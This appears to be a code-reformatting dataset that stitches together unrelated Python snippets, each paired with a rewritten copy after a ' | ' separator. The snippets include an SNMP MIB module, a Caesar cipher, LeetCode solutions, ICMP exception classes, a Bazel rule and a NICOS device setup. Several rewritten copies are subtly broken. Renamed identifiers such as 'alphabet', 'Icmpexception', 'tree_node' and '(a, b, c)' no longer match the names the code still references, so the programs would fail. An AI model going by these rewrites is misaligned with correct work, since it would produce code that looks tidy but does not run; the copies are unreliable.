mitel_dhcp_server_vendor_info_status = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 8, 1, 5), row_status()).setMaxAccess('readcreate')
if mibBuilder.loadTexts:
mitelDhcpServerVendorInfoStatus.setStatus('current')
mitel_dhcp_client_table = mib_table((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6))
if mibBuilder.loadTexts:
mitelDhcpClientTable.setStatus('current')
mitel_dhcp_client_entry = mib_table_row((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1)).setIndexNames((0, 'MITEL-DHCP-MIB', 'mitelDhcpClientIndex'))
if mibBuilder.loadTexts:
mitelDhcpClientEntry.setStatus('current')
mitel_dhcp_client_index = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 1), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpClientIndex.setStatus('current')
mitel_dhcp_client_id = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 2), octet_string()).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
mitelDhcpClientId.setStatus('current')
mitel_dhcp_client_lease_action = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 3), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('none', 1), ('release', 2), ('renew', 3)))).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpClientLeaseAction.setStatus('current')
mitel_dhcp_client_ip_address = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 4), ip_address()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpClientIpAddress.setStatus('current')
mitel_dhcp_client_lease_obtained = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 5), time_ticks()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpClientLeaseObtained.setStatus('current')
mitel_dhcp_client_lease_expired = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 6), time_ticks()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpClientLeaseExpired.setStatus('current')
mitel_dhcp_client_default_gateway = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 7), ip_address()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpClientDefaultGateway.setStatus('current')
mitel_dhcp_client_server_ip = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 8), ip_address()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpClientServerIp.setStatus('current')
mitel_dhcp_client_primary_dns = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 9), ip_address()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpClientPrimaryDns.setStatus('current')
mitel_dhcp_client_secondary_dns = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 10), ip_address()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpClientSecondaryDns.setStatus('current')
mitel_dhcp_client_primary_wins = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 11), ip_address()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpClientPrimaryWins.setStatus('current')
mitel_dhcp_client_secondary_wins = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 12), ip_address()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpClientSecondaryWins.setStatus('current')
mitel_dhcp_client_domain_name = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 13), octet_string()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpClientDomainName.setStatus('current')
mitel_dhcp_client_name = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 14), octet_string()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpClientName.setStatus('current')
mitel_dhcp_client_admin_state = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 15), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('enabled', 1), ('disabled', 2)))).setMaxAccess('readonly')
if mibBuilder.loadTexts:
mitelDhcpClientAdminState.setStatus('current')
mitel_ipera1000_notifications = notification_group((1, 3, 6, 1, 4, 1, 1027, 1, 2, 4, 0)).setObjects(('MITEL-DHCP-MIB', 'mitelDhcpClientObtainedIp'), ('MITEL-DHCP-MIB', 'mitelDhcpClientLeaseExpiry'))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
mitel_ipera1000_notifications = mitelIpera1000Notifications.setStatus('current')
mitel_dhcp_client_obtained_ip = notification_type((1, 3, 6, 1, 4, 1, 1027, 1, 2, 4, 0, 404)).setObjects(('MITEL-DHCP-MIB', 'mitelDhcpClientIndex'), ('MITEL-DHCP-MIB', 'mitelDhcpClientIpAddress'), ('MITEL-DHCP-MIB', 'mitelDhcpClientServerIp'))
if mibBuilder.loadTexts:
mitelDhcpClientObtainedIp.setStatus('current')
mitel_dhcp_client_lease_expiry = notification_type((1, 3, 6, 1, 4, 1, 1027, 1, 2, 4, 0, 405)).setObjects(('MITEL-DHCP-MIB', 'mitelDhcpClientIndex'))
if mibBuilder.loadTexts:
mitelDhcpClientLeaseExpiry.setStatus('current')
mibBuilder.exportSymbols('MITEL-DHCP-MIB', mitelDhcpServerLeaseDomainName=mitelDhcpServerLeaseDomainName, mitelDhcpServerRangeSubnet=mitelDhcpServerRangeSubnet, mitelDhcpRelayAgentServerTable=mitelDhcpRelayAgentServerTable, mitelDhcpRelayAgentMaxHops=mitelDhcpRelayAgentMaxHops, mitelDhcpServerRangeGateway=mitelDhcpServerRangeGateway, mitelDhcpServerStaticIpTable=mitelDhcpServerStaticIpTable, mitelDhcpServerRangeStart=mitelDhcpServerRangeStart, mitelDhcpServerVendorInfoOptionValue=mitelDhcpServerVendorInfoOptionValue, mitelDhcpClientLeaseExpired=mitelDhcpClientLeaseExpired, mitelDhcpServerRangeEnd=mitelDhcpServerRangeEnd, mitelDhcpServerSubnetStatus=mitelDhcpServerSubnetStatus, mitelDhcpClientId=mitelDhcpClientId, mitelDhcpClientPrimaryDns=mitelDhcpClientPrimaryDns, mitelDhcpClientLeaseExpiry=mitelDhcpClientLeaseExpiry, mitelDhcpServerStaticIpDeleteTree=mitelDhcpServerStaticIpDeleteTree, mitel=mitel, mitelDhcpServerVendorInfoID=mitelDhcpServerVendorInfoID, mitelDhcpServerLeaseAddr=mitelDhcpServerLeaseAddr, mitelDhcpServerLeaseMacAddress=mitelDhcpServerLeaseMacAddress, mitelDhcpServerOptionEntry=mitelDhcpServerOptionEntry, mitelDhcpServerLeaseTable=mitelDhcpServerLeaseTable, mitelDhcpClientEntry=mitelDhcpClientEntry, mitelDhcpClientIndex=mitelDhcpClientIndex, mitelDhcpServerStatsGroup=mitelDhcpServerStatsGroup, mitelDhcpRelayAgentServerName=mitelDhcpRelayAgentServerName, mitelDhcpRelayAgentServerAddr=mitelDhcpRelayAgentServerAddr, mitelDhcpServerRangeLeaseTime=mitelDhcpServerRangeLeaseTime, mitelIdentification=mitelIdentification, mitelDhcpServerSubnetGateway=mitelDhcpServerSubnetGateway, mitelDhcpServerStatsConfRanges=mitelDhcpServerStatsConfRanges, mitelDhcpServerRangeStatus=mitelDhcpServerRangeStatus, mitelDhcpClientSecondaryDns=mitelDhcpClientSecondaryDns, mitelProprietary=mitelProprietary, mitelDhcpServerGroup=mitelDhcpServerGroup, mitelDhcpServerVendorInfoName=mitelDhcpServerVendorInfoName, mitelDhcpServerOptionStatus=mitelDhcpServerOptionStatus, mitelDhcpServerStatsConfStatic=mitelDhcpServerStatsConfStatic, mitelDhcpServerSubnetEntry=mitelDhcpServerSubnetEntry, mitelDhcpClientDomainName=mitelDhcpClientDomainName, mitelDhcpServerGeneralRefDhcpServer=mitelDhcpServerGeneralRefDhcpServer, mitelDhcpClientAdminState=mitelDhcpClientAdminState, mitelDhcpClientObtainedIp=mitelDhcpClientObtainedIp, mitelDhcpServerStatsConfLeases=mitelDhcpServerStatsConfLeases, mitelDhcpServerStaticIpSubnet=mitelDhcpServerStaticIpSubnet, mitelDhcpServerSubnetAddr=mitelDhcpServerSubnetAddr, mitelDhcpServerLeaseHostName=mitelDhcpServerLeaseHostName, mitelPropIpNetworking=mitelPropIpNetworking, mitelDhcpServerLeaseEntry=mitelDhcpServerLeaseEntry, mitelRouterDhcpGroup=mitelRouterDhcpGroup, mitelDhcpRelayAgentEnable=mitelDhcpRelayAgentEnable, mitelDhcpServerVendorInfoOptionDisplayFormat=mitelDhcpServerVendorInfoOptionDisplayFormat, mitelDhcpServerOptionTable=mitelDhcpServerOptionTable, mitelDhcpServerOptionNumber=mitelDhcpServerOptionNumber, mitelDhcpServerOptionAddr=mitelDhcpServerOptionAddr, mitelIpNetRouter=mitelIpNetRouter, mitelDhcpClientSecondaryWins=mitelDhcpClientSecondaryWins, mitelDhcpServerStaticIpClientId=mitelDhcpServerStaticIpClientId, mitelDhcpServerStaticIpEntry=mitelDhcpServerStaticIpEntry, mitelDhcpRelayAgentBroadcast=mitelDhcpRelayAgentBroadcast, mitelDhcpRelayAgentServerEntry=mitelDhcpRelayAgentServerEntry, mitelDhcpServerLeaseStatus=mitelDhcpServerLeaseStatus, mitelDhcpClientDefaultGateway=mitelDhcpClientDefaultGateway, mitelDhcpClientLeaseObtained=mitelDhcpClientLeaseObtained, mitelDhcpServerStaticIpMacAddress=mitelDhcpServerStaticIpMacAddress, mitelDhcpServerRangeName=mitelDhcpServerRangeName, mitelDhcpServerStaticIpAddr=mitelDhcpServerStaticIpAddr, mitelIdCallServers=mitelIdCallServers, mitelDhcpServerLeaseClientId=mitelDhcpServerLeaseClientId, mitelDhcpClientLeaseAction=mitelDhcpClientLeaseAction, mitelDhcpRelayAgentServerStatus=mitelDhcpRelayAgentServerStatus, mitelDhcpClientName=mitelDhcpClientName, mitelIdCsIpera1000=mitelIdCsIpera1000, mitelDhcpServerRangeTable=mitelDhcpServerRangeTable, mitelDhcpServerStaticIpStatus=mitelDhcpServerStaticIpStatus, mitelDhcpServerLeaseEndTime=mitelDhcpServerLeaseEndTime, mitelDhcpServerLeaseRange=mitelDhcpServerLeaseRange, mitelDhcpServerOptionValue=mitelDhcpServerOptionValue, mitelDhcpServerLeaseSubnet=mitelDhcpServerLeaseSubnet, mitelDhcpServerStaticIpName=mitelDhcpServerStaticIpName, mitelDhcpServerVendorInfoStatus=mitelDhcpServerVendorInfoStatus, MitelDhcpServerProtocol=MitelDhcpServerProtocol, mitelDhcpServerSubnetName=mitelDhcpServerSubnetName, mitelDhcpServerLeaseAllowedProtocol=mitelDhcpServerLeaseAllowedProtocol, mitelDhcpClientIpAddress=mitelDhcpClientIpAddress, mitelDhcpServerLeaseType=mitelDhcpServerLeaseType, mitelDhcpClientServerIp=mitelDhcpClientServerIp, mitelDhcpServerStatsNumServers=mitelDhcpServerStatsNumServers, mitelDhcpServerSubnetMask=mitelDhcpServerSubnetMask, mitelDhcpServerStatsConfSubnets=mitelDhcpServerStatsConfSubnets, mitelDhcpClientTable=mitelDhcpClientTable, mitelDhcpServerStaticIpGateway=mitelDhcpServerStaticIpGateway, mitelDhcpServerSubnetTable=mitelDhcpServerSubnetTable, mitelDhcpServerRangeEntry=mitelDhcpServerRangeEntry, mitelDhcpServerSubnetDeleteTree=mitelDhcpServerSubnetDeleteTree, mitelDhcpServerSubnetSharedNet=mitelDhcpServerSubnetSharedNet, PYSNMP_MODULE_ID=mitelRouterDhcpGroup, mitelDhcpClientPrimaryWins=mitelDhcpClientPrimaryWins, mitelDhcpServerGeneralEnable=mitelDhcpServerGeneralEnable, mitelIpera1000Notifications=mitelIpera1000Notifications, mitelDhcpServerLeaseServedTime=mitelDhcpServerLeaseServedTime, mitelDhcpServerRangeMatchClassId=mitelDhcpServerRangeMatchClassId, mitelDhcpServerStatsConfOptions=mitelDhcpServerStatsConfOptions, mitelDhcpServerVendorInfoTable=mitelDhcpServerVendorInfoTable, mitelDhcpServerRangeDeleteTree=mitelDhcpServerRangeDeleteTree, mitelDhcpServerStaticIpProtocol=mitelDhcpServerStaticIpProtocol, mitelDhcpServerLeaseServedProtocol=mitelDhcpServerLeaseServedProtocol, mitelDhcpServerVendorInfoEntry=mitelDhcpServerVendorInfoEntry, mitelDhcpServerGeneralGroup=mitelDhcpServerGeneralGroup, MitelDhcpServerOptionList=MitelDhcpServerOptionList, mitelDhcpServerGeneralPingStatus=mitelDhcpServerGeneralPingStatus, mitelDhcpServerOptionDisplayFormat=mitelDhcpServerOptionDisplayFormat, mitelDhcpServerGeneralGateway=mitelDhcpServerGeneralGateway, mitelDhcpServerRangeProtocol=mitelDhcpServerRangeProtocol) |
ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
print("*** Caesar Cipher ***")
shift = int(input("Please enter a number from -26 to 26: "))
if input("Press 'd' to decipher, anything else to encipher: ").lower() == "d":
msg = input("Please enter your message: ")
decrypted = []
for char in msg:
index = ALPHABET.index(char)
index = (index - shift) % len(ALPHABET)
decrypted.append(ALPHABET[index])
print("Here is the deciphered message:")
print("".join(decrypted))
else:
msg = input("Please enter your message: ")
msg = msg.upper().replace(" ", "")
encrypted = []
for char in msg:
index = ALPHABET.index(char)
index = (index + shift) % len(ALPHABET)
encrypted.append(ALPHABET[index])
print("Here is the enciphered message:")
print("".join(encrypted)) | alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
print('*** Caesar Cipher ***')
shift = int(input('Please enter a number from -26 to 26: '))
if input("Press 'd' to decipher, anything else to encipher: ").lower() == 'd':
msg = input('Please enter your message: ')
decrypted = []
for char in msg:
index = ALPHABET.index(char)
index = (index - shift) % len(ALPHABET)
decrypted.append(ALPHABET[index])
print('Here is the deciphered message:')
print(''.join(decrypted))
else:
msg = input('Please enter your message: ')
msg = msg.upper().replace(' ', '')
encrypted = []
for char in msg:
index = ALPHABET.index(char)
index = (index + shift) % len(ALPHABET)
encrypted.append(ALPHABET[index])
print('Here is the enciphered message:')
print(''.join(encrypted)) |
_CALCULATIONS_GRAPHVIZSHAPE = "ellipse"
def _raise(e):
raise e
| _calculations_graphvizshape = 'ellipse'
def _raise(e):
raise e |
def preprocess_data(_data):
nul, shape = _data.shape[0], _data.shape[1:]
print(nul)
print(shape)
_data = _data.reshape(nul, shape[0], shape[1], 1)
_data = _data.astype('float32')
_data /= 255
return _data | def preprocess_data(_data):
(nul, shape) = (_data.shape[0], _data.shape[1:])
print(nul)
print(shape)
_data = _data.reshape(nul, shape[0], shape[1], 1)
_data = _data.astype('float32')
_data /= 255
return _data |
# Definition for a binary tree node.
# class TreeNode:
# def __init__(self, x):
# self.val = x
# self.left = None
# self.right = None
class Solution:
def bstFromPreorder(self, preorder: List[int]) -> TreeNode:
def rectree(orderlist):
if len(orderlist) == 0:
return None
if len(orderlist) == 1:
return TreeNode(orderlist[0])
left = list()
right = list()
head = TreeNode(orderlist[0])
for i in range(1,len(orderlist)):
if orderlist[i] < head.val:
left.append(orderlist[i])
else:
right.append(orderlist[i])
head.left = rectree(left)
head.right = rectree(right)
return head
return rectree(preorder)
| class Solution:
def bst_from_preorder(self, preorder: List[int]) -> TreeNode:
def rectree(orderlist):
if len(orderlist) == 0:
return None
if len(orderlist) == 1:
return tree_node(orderlist[0])
left = list()
right = list()
head = tree_node(orderlist[0])
for i in range(1, len(orderlist)):
if orderlist[i] < head.val:
left.append(orderlist[i])
else:
right.append(orderlist[i])
head.left = rectree(left)
head.right = rectree(right)
return head
return rectree(preorder) |
class IcmpException(OSError):
pass
class BufferTooSmall(IcmpException):
pass
class DestinationNetUnreachable(IcmpException):
pass
class DestinationHostUnreachable(IcmpException):
pass
class DestinationProtocolUnreachable(IcmpException):
pass
class DestinationPortUnreachable(IcmpException):
pass
class NoResources(IcmpException):
pass
class BadOption(IcmpException):
pass
class HardwareError(IcmpException):
pass
class PacketTooBig(IcmpException):
pass
class RequestTimedOut(IcmpException):
pass
class BadRequest(IcmpException):
pass
class BadRoute(IcmpException):
pass
class TTLExpiredInTransit(IcmpException):
pass
class TTLExpiredOnReassembly(IcmpException):
pass
class ParameterProblem(IcmpException):
pass
class SourceQuench(IcmpException):
pass
class OptionTooBig(IcmpException):
pass
class BadDestination(IcmpException):
pass
class GeneralFailure(IcmpException):
pass
errno_map = {
11001: BufferTooSmall,
11002: DestinationNetUnreachable,
11003: DestinationHostUnreachable,
11004: DestinationProtocolUnreachable,
11005: DestinationPortUnreachable,
11006: NoResources,
11007: BadOption,
11008: HardwareError,
11009: PacketTooBig,
11010: RequestTimedOut,
11011: BadRequest,
11012: BadRoute,
11013: TTLExpiredInTransit,
11014: TTLExpiredOnReassembly,
11015: ParameterProblem,
11016: SourceQuench,
11017: OptionTooBig,
11018: BadDestination,
11050: GeneralFailure,
}
| class Icmpexception(OSError):
pass
class Buffertoosmall(IcmpException):
pass
class Destinationnetunreachable(IcmpException):
pass
class Destinationhostunreachable(IcmpException):
pass
class Destinationprotocolunreachable(IcmpException):
pass
class Destinationportunreachable(IcmpException):
pass
class Noresources(IcmpException):
pass
class Badoption(IcmpException):
pass
class Hardwareerror(IcmpException):
pass
class Packettoobig(IcmpException):
pass
class Requesttimedout(IcmpException):
pass
class Badrequest(IcmpException):
pass
class Badroute(IcmpException):
pass
class Ttlexpiredintransit(IcmpException):
pass
class Ttlexpiredonreassembly(IcmpException):
pass
class Parameterproblem(IcmpException):
pass
class Sourcequench(IcmpException):
pass
class Optiontoobig(IcmpException):
pass
class Baddestination(IcmpException):
pass
class Generalfailure(IcmpException):
pass
errno_map = {11001: BufferTooSmall, 11002: DestinationNetUnreachable, 11003: DestinationHostUnreachable, 11004: DestinationProtocolUnreachable, 11005: DestinationPortUnreachable, 11006: NoResources, 11007: BadOption, 11008: HardwareError, 11009: PacketTooBig, 11010: RequestTimedOut, 11011: BadRequest, 11012: BadRoute, 11013: TTLExpiredInTransit, 11014: TTLExpiredOnReassembly, 11015: ParameterProblem, 11016: SourceQuench, 11017: OptionTooBig, 11018: BadDestination, 11050: GeneralFailure} |
for x in range(6, 0, -1):
if (x % 2 != 0):
ctrl = x + 1
else:
ctrl = x
for y in range(0, ctrl):
print("*", end="")
print() | for x in range(6, 0, -1):
if x % 2 != 0:
ctrl = x + 1
else:
ctrl = x
for y in range(0, ctrl):
print('*', end='')
print() |
day_of_week = input()
work_days = ['Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday']
vacation_days = ['Saturday', 'Sunday']
if day_of_week in (work_days):
print('Working day')
elif day_of_week in (vacation_days):
print('Weekend')
else:
print('Error') | day_of_week = input()
work_days = ['Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday']
vacation_days = ['Saturday', 'Sunday']
if day_of_week in work_days:
print('Working day')
elif day_of_week in vacation_days:
print('Weekend')
else:
print('Error') |
x = 10
y = 2
a = x*y
print(a)
b = 12 | x = 10
y = 2
a = x * y
print(a)
b = 12 |
# pma.py --maxTransitions 100 --output synchronous_graph synchronous
# 4 states, 4 transitions, 1 accepting states, 0 unsafe states, 0 finished and 0 deadend states
# actions here are just labels, but must be symbols with __name__ attribute
def send_return(): pass
def send_call(): pass
def recv_call(): pass
def recv_return(): pass
# states, key of each state here is its number in graph etc. below
states = {
0 : {'synchronous': 0},
1 : {'synchronous': 1},
2 : {'synchronous': 2},
3 : {'synchronous': 3},
}
# initial state, accepting states, unsafe states, frontier states, deadend states
initial = 0
accepting = [0]
unsafe = []
frontier = []
finished = []
deadend = []
runstarts = [0]
# finite state machine, list of tuples: (current, (action, args, result), next)
graph = (
(0, (send_call, (), None), 1),
(1, (send_return, (), None), 2),
(2, (recv_call, (), None), 3),
(3, (recv_return, (), None), 0),
)
| def send_return():
pass
def send_call():
pass
def recv_call():
pass
def recv_return():
pass
states = {0: {'synchronous': 0}, 1: {'synchronous': 1}, 2: {'synchronous': 2}, 3: {'synchronous': 3}}
initial = 0
accepting = [0]
unsafe = []
frontier = []
finished = []
deadend = []
runstarts = [0]
graph = ((0, (send_call, (), None), 1), (1, (send_return, (), None), 2), (2, (recv_call, (), None), 3), (3, (recv_return, (), None), 0)) |
fr = open('cora/features.features')
a = fr.readlines()
fr.close()
fw = open('cora/features.txt','w')
for i in range(len(a)):
s = a[i].strip().split(' ')
fw.write(s[0]+'\t')
for j in range(1,len(s)):
if (s[j]=='0.0'):
fw.write('0\t')
else:
fw.write('1\t')
fw.write('\n')
fw.close()
| fr = open('cora/features.features')
a = fr.readlines()
fr.close()
fw = open('cora/features.txt', 'w')
for i in range(len(a)):
s = a[i].strip().split(' ')
fw.write(s[0] + '\t')
for j in range(1, len(s)):
if s[j] == '0.0':
fw.write('0\t')
else:
fw.write('1\t')
fw.write('\n')
fw.close() |
'''
While the very latest in 1518 alchemical technology might have solved their
problem eventually, you can do better.
You scan the chemical composition of the suit's material and discover that
it is formed by extremely long polymers.
The polymer is formed by smaller units which, when triggered,
react with each other such that two adjacent units of the same type and
opposite polarity are destroyed.
How many units remain after fully reacting the polymer you scanned?
'''
def react(polymer):
'''
Given a polymer string, removes two adjacent characters if they are the same
character but in opposite cases
Removes: aA, Aa
Does not remove: aa, AA, aB, Ba
'''
for char_1, char_2 in zip(polymer, polymer[1:]):
if char_1.lower() == char_2.lower() and char_1 != char_2:
polymer = polymer.replace(f'{char_1}{char_2}', '', 1)
return polymer
def react_loop(polymer):
'''
Given a polymer string, reacts repeatedly until no reaction occurs,
returns the polymer string
'''
old_polymer = polymer
while True:
new_polymer = react(old_polymer)
if new_polymer == old_polymer:
return new_polymer
else:
old_polymer = new_polymer
def main():
with open('input.txt') as input_file:
polymer = input_file.read().strip()
final_polymer = react_loop(polymer)
print(
f'''The units remaining after fully reacting the polymer is {
len(final_polymer)
} units.'''
)
if __name__ == '__main__':
main()
| """
While the very latest in 1518 alchemical technology might have solved their
problem eventually, you can do better.
You scan the chemical composition of the suit's material and discover that
it is formed by extremely long polymers.
The polymer is formed by smaller units which, when triggered,
react with each other such that two adjacent units of the same type and
opposite polarity are destroyed.
How many units remain after fully reacting the polymer you scanned?
"""
def react(polymer):
"""
Given a polymer string, removes two adjacent characters if they are the same
character but in opposite cases
Removes: aA, Aa
Does not remove: aa, AA, aB, Ba
"""
for (char_1, char_2) in zip(polymer, polymer[1:]):
if char_1.lower() == char_2.lower() and char_1 != char_2:
polymer = polymer.replace(f'{char_1}{char_2}', '', 1)
return polymer
def react_loop(polymer):
"""
Given a polymer string, reacts repeatedly until no reaction occurs,
returns the polymer string
"""
old_polymer = polymer
while True:
new_polymer = react(old_polymer)
if new_polymer == old_polymer:
return new_polymer
else:
old_polymer = new_polymer
def main():
with open('input.txt') as input_file:
polymer = input_file.read().strip()
final_polymer = react_loop(polymer)
print(f'The units remaining after fully reacting the polymer is {len(final_polymer)} units.')
if __name__ == '__main__':
main() |
'''
# 977. [Squares of a Sorted Array](https://leetcode.com/problems/squares-of-a-sorted-array/)
Given an array of integers A sorted in non-decreasing order, return an array of the squares of each number, also in sorted non-decreasing order.
Example 1:
Input: [-4,-1,0,3,10]
Output: [0,1,9,16,100]
Example 2:
Input: [-7,-3,2,3,11]
Output: [4,9,9,49,121]
Note:
1 <= A.length <= 10000
-10000 <= A[i] <= 10000
A is sorted in non-decreasing order.
'''
# Solutions
class Solution:
def sortedSquares(self, A: List[int]) -> List[int]:
i = 0
j = len(A) - 1
while i < j:
A[i] = A[i] * A[i]
A[j] = A[j] * A[j]
i += 1
j -= 1
if i == j:
A[i] = A[i] * A[i]
A.sort()
return A
# Runtime: 240 ms
# Memory Usage: 15.2 MB | """
# 977. [Squares of a Sorted Array](https://leetcode.com/problems/squares-of-a-sorted-array/)
Given an array of integers A sorted in non-decreasing order, return an array of the squares of each number, also in sorted non-decreasing order.
Example 1:
Input: [-4,-1,0,3,10]
Output: [0,1,9,16,100]
Example 2:
Input: [-7,-3,2,3,11]
Output: [4,9,9,49,121]
Note:
1 <= A.length <= 10000
-10000 <= A[i] <= 10000
A is sorted in non-decreasing order.
"""
class Solution:
def sorted_squares(self, A: List[int]) -> List[int]:
i = 0
j = len(A) - 1
while i < j:
A[i] = A[i] * A[i]
A[j] = A[j] * A[j]
i += 1
j -= 1
if i == j:
A[i] = A[i] * A[i]
A.sort()
return A |
__all__ = ["decoder"]
def decoder(x: list) -> int:
x = int(str("0b" + "".join(reversed(list(map(str, x))))), 2)
return x | __all__ = ['decoder']
def decoder(x: list) -> int:
x = int(str('0b' + ''.join(reversed(list(map(str, x))))), 2)
return x |
load("@bazel_tools//tools/build_defs/repo:http.bzl", "http_archive")
def repos():
http_archive(
name = "vim",
urls = [
"https://github.com/vim/vim/archive/v8.1.1846.tar.gz",
],
sha256 = "68de2854199a396aee19fe34c32c02db5784c76c0334d58b510266436c7529bb",
strip_prefix = "vim-8.1.1846",
build_file = str(Label("//app-editor:vim.BUILD")),
)
| load('@bazel_tools//tools/build_defs/repo:http.bzl', 'http_archive')
def repos():
http_archive(name='vim', urls=['https://github.com/vim/vim/archive/v8.1.1846.tar.gz'], sha256='68de2854199a396aee19fe34c32c02db5784c76c0334d58b510266436c7529bb', strip_prefix='vim-8.1.1846', build_file=str(label('//app-editor:vim.BUILD'))) |
class InvalidInput(Exception):
def __init__(self):
Exception.__init__(self, "Sorry, your input doesn't look good. "
"Or, Maybe you've tried too many times and "
"google thinks you aren't receiving the phone code?")
| class Invalidinput(Exception):
def __init__(self):
Exception.__init__(self, "Sorry, your input doesn't look good. Or, Maybe you've tried too many times and google thinks you aren't receiving the phone code?") |
_formats = {
'cic': [100, "CIrculant Columns"],
'cir': [101, "CIrculant Rows"],
'chb': [102, "Circulant Horizontal Blocks"],
'cvb': [103, "Circulant Vertical Blocks"],
'hsb': [104, "Horizontally Stacked Blocks"],
'vsb': [104, "Vertically Stacked Blocks"]
}
| _formats = {'cic': [100, 'CIrculant Columns'], 'cir': [101, 'CIrculant Rows'], 'chb': [102, 'Circulant Horizontal Blocks'], 'cvb': [103, 'Circulant Vertical Blocks'], 'hsb': [104, 'Horizontally Stacked Blocks'], 'vsb': [104, 'Vertically Stacked Blocks']} |
#
# (c) Copyright 2015 Hewlett Packard Enterprise Development LP
# (c) Copyright 2017-2018 SUSE LLC
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
#
class DependencyElement(object):
def __init__(self, plugin):
self._plugin = plugin
self._dependencies = plugin.get_dependencies()
@property
def slug(self):
return self._plugin.slug
@property
def plugin(self):
return self._plugin
@property
def dependencies(self):
return self._dependencies
def remove_dependency(self, slug):
if slug in self._dependencies:
self._dependencies.remove(slug)
def has_dependencies(self):
return len(self._dependencies) > 0
def has_dependency(self, slug):
return slug in self._dependencies
| class Dependencyelement(object):
def __init__(self, plugin):
self._plugin = plugin
self._dependencies = plugin.get_dependencies()
@property
def slug(self):
return self._plugin.slug
@property
def plugin(self):
return self._plugin
@property
def dependencies(self):
return self._dependencies
def remove_dependency(self, slug):
if slug in self._dependencies:
self._dependencies.remove(slug)
def has_dependencies(self):
return len(self._dependencies) > 0
def has_dependency(self, slug):
return slug in self._dependencies |
A, B, C = map(int, input().split())
result = 0
while True:
if A % 2 == 1 or B % 2 == 1 or C % 2 == 1:
break
if A == B == C:
result = -1
break
A, B, C = (B + C) // 2, (A + C) // 2, (A + B) // 2
result += 1
print(result)
| (a, b, c) = map(int, input().split())
result = 0
while True:
if A % 2 == 1 or B % 2 == 1 or C % 2 == 1:
break
if A == B == C:
result = -1
break
(a, b, c) = ((B + C) // 2, (A + C) // 2, (A + B) // 2)
result += 1
print(result) |
description = 'bottom sample table devices'
group = 'lowlevel'
devices = dict(
st1_omg = device('nicos.devices.generic.Axis',
description = 'table 1 omega axis',
pollinterval = 15,
maxage = 60,
fmtstr = '%.2f',
abslimits = (-180, 180),
precision = 0.01,
motor = 'st1_omgmot',
),
st1_omgmot = device('nicos.devices.generic.VirtualMotor',
description = 'table 1 omega motor',
fmtstr = '%.2f',
abslimits = (-180, 180),
lowlevel = True,
unit = 'deg',
),
st1_chi = device('nicos.devices.generic.Axis',
description = 'table 1 chi axis',
pollinterval = 15,
maxage = 60,
fmtstr = '%.2f',
abslimits = (-5, 5),
precision = 0.01,
motor = 'st1_chimot',
),
st1_chimot = device('nicos.devices.generic.VirtualMotor',
description = 'table 1 chi motor',
fmtstr = '%.2f',
abslimits = (-5, 5),
lowlevel = True,
unit = 'deg',
),
st1_phi = device('nicos.devices.generic.Axis',
description = 'table 1 phi axis',
pollinterval = 15,
maxage = 60,
fmtstr = '%.2f',
abslimits = (-5, 5),
precision = 0.01,
motor = 'st1_phimot',
),
st1_phimot = device('nicos.devices.generic.VirtualMotor',
description = 'table 1 phi motor',
fmtstr = '%.2f',
abslimits = (-5, 5),
lowlevel = True,
unit = 'deg',
),
st1_y = device('nicos.devices.generic.Axis',
description = 'table 1 y axis',
pollinterval = 15,
maxage = 60,
fmtstr = '%.2f',
abslimits = (-99, 99),
precision = 0.01,
